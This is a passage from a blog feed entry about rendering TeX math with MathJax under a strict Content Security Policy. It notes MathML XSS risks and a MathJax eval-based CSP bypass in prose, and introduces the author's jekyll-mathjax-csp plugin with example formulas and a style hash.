&lt;p&gt;The remaining output format, MathML, was created as a &amp;#8220;native&amp;#8221; markup language for math on the web, but has never really caught on: At the moment, only Firefox has full support for it, meaning that it cannot be used without providing a fallback to other formats. It certainly didn&amp;#8217;t help MathML that it is quite complex, frequently making an appearance in arcane XSS vectors. Did you know that &lt;a href=&quot;https://html5sec.org/#143&quot;&gt;MathML can be used to build links that will always leak &lt;code class=&quot;highlighter-rouge&quot;&gt;window.opener&lt;/code&gt;&lt;/a&gt;? Or that it can be used to &lt;a href=&quot;https://html5sec.org/#130&quot;&gt;execute JavaScript without using an &lt;code class=&quot;highlighter-rouge&quot;&gt;href&lt;/code&gt; or event listener attribute&lt;/a&gt;? Since such attack vectors could also be exploited by MathML rendered from a TeX formula, MathJax offers a &lt;a href=&quot;https://docs.mathjax.org/en/latest/safe-mode.html&quot;&gt;Safe mode&lt;/a&gt; that is highly recommended if you use MathJax to render user-supplied TeX.&lt;/p&gt;

&lt;p&gt;But even without rendering to MathML, client-side MathJax on a page with a CSP that permits the use of &lt;code class=&quot;highlighter-rouge&quot;&gt;eval()&lt;/code&gt; has gotcha potential. When MathJax loads on a page for the first time, it looks for specially marked &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags containing custom configurations. While these scripts usually consist of a single call to &lt;code class=&quot;highlighter-rouge&quot;&gt;MathJax.Hub.Config&lt;/code&gt;, they can contain arbitrary JavaScript that is executed by MathJax using &lt;code class=&quot;highlighter-rouge&quot;&gt;eval()&lt;/code&gt;. The result is an &lt;code class=&quot;highlighter-rouge&quot;&gt;unsafe-eval&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;unsafe-inline&lt;/code&gt; CSP bypass with the restriction that inline scripts have to be injected into the page before MathJax is loaded. You can experience this bypass in action in &lt;a href=&quot;/labs/mathjax-csp/&quot;&gt;this lab&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;server-side-rendering--svg-to-the-rescue&quot;&gt;Server-Side Rendering &amp;#8212; &amp;#8220;SVG to the Rescue&amp;#8221;&lt;/h3&gt;

&lt;p&gt;Given the restrictions that client-side MathJax imposes on the strictness of the CSP and the CPU load it causes on the reader&amp;#8217;s device, I decided to try out server-side rendering. The npm package &lt;a href=&quot;https://github.com/mathjax/MathJax-node&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mathjax-node&lt;/code&gt;&lt;/a&gt; can be used from Node.js to pre-render TeX formulas into either SVG, HTML or MathML. Together with the package &lt;a href=&quot;https://github.com/pkra/mathjax-node-page/&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mathjax-node-page&lt;/code&gt;&lt;/a&gt;, entire pages of TeX math can be rendered automatically, either from Node.js or via the CLI command &lt;code class=&quot;highlighter-rouge&quot;&gt;mjpage&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;While in HTML and MathML mode the server-based approach suffers from the same CSP-related problems as discussed above, the SVG output made me hopeful: Its usage of inline styles is limited to a single fixed &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element in the head and one &lt;code class=&quot;highlighter-rouge&quot;&gt;style&lt;/code&gt; attribute per SVG in the output. As this appears to be a somewhat manageable amount of inline activity and since SVG is a widely supported and high-quality output format for mathematical typography, I decided to wrap everything into a CSP-aware Jekyll plugin.&lt;/p&gt;

&lt;h2 id=&quot;jekyll-mathjax-csp&quot;&gt;jekyll-mathjax-csp&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/FabianHenneke/jekyll-mathjax-csp&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll-mathjax-csp&lt;/code&gt;&lt;/a&gt; is a Jekyll plugin that automatically renders math picked up by the kramdown parser by running it through &lt;code class=&quot;highlighter-rouge&quot;&gt;mathjax-node&lt;/code&gt;. It collects all newly added inline styles and turns them into proper CSS classes, which are then injected into a single inline &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element in the head of the page. The hash over this element&amp;#8217;s content is computed and the collection of all such hashes can either automatically (via the &lt;code class=&quot;highlighter-rouge&quot;&gt;{% mathjax_csp_sources %}&lt;/code&gt; tag) or manually (copied from a message shown during the build) be added to the site&amp;#8217;s CSP.&lt;/p&gt;

&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;/h3&gt;

&lt;p&gt;Head over to &lt;a href=&quot;https://github.com/FabianHenneke/jekyll-mathjax-csp/blob/master/README.md&quot;&gt;the README&lt;/a&gt; for detailed usage instructions.&lt;/p&gt;

&lt;h3 id=&quot;issues&quot;&gt;Issues&lt;/h3&gt;

&lt;p&gt;If you experience any issues with &lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll-mathjax-csp&lt;/code&gt; or want to make a feature request, please &lt;a href=&quot;https://github.com/FabianHenneke/jekyll-mathjax-csp/issues/new&quot;&gt;create an issue on GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;examples&quot;&gt;Examples&lt;/h3&gt;

&lt;p&gt;Inline math: &lt;code class=&quot;highlighter-rouge&quot;&gt;$$\pi_3(S^2) \cong \mathbb{Z}$$&lt;/code&gt; &lt;script type=&quot;math/tex&quot;&gt;\leadsto \pi_3(S^2) \cong \mathbb{Z}&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Display math:&lt;/p&gt;

&lt;div class=&quot;language-tex highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\operatorname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; P &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;_{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\operatorname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\sigma&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\cdot&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\operatorname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Td&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;TX &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\otimes&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\mathbb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;$$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;script type=&quot;math/tex; mode=display&quot;&gt;\leadsto \operatorname{ind} P = \int_{X}\operatorname{ch} \sigma(P) \cdot \operatorname{Td}(TX \otimes \mathbb{C})&lt;/script&gt;

&lt;p&gt;CSP sources for all the MathJax-related styles on &lt;a href=&quot;https://hen.ne.ke&quot;&gt;hen.ne.ke&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;{% mathjax_csp_sources %}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;script type=&quot;math/tex&quot;&gt;\leadsto&lt;/script&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU='&lt;/code&gt;&lt;/p&gt;</content><author><name>{&quot;twitter&quot;=&gt;&quot;fhenneke&quot;}</name></author><summary type="html">In our quest to vanquish the foe that is XSS and for an A+ rating from the Mozilla Observatory, today, we will be rendering mathematical formulas in a fast and secure fashion.</summary></entry></feed>